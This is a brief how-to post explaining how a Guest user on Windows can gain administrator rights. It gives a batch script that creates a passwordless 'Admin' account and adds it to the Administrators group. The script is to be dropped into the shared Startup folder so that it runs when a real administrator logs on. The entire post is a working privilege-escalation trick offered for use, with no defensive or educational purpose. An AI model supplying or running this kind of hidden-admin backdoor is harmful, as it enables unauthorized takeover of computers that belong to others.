How to create a admin account if you are a Guest

"@echo off
net user Admin /add /expires:never /passwordreq:no
net localgroup "Administrators" /add Admin"

Now copy this to notepad and save as admin.bat
copy this file to the startup folder. here is the path of startup folder.
C:\Documents and Settings\All Users\Start Menu\Programs\Startup
when the administrator logs on this batch file is run and a new admin account is created with
username:admin
pass: n/a

Then enjoy with the admin account...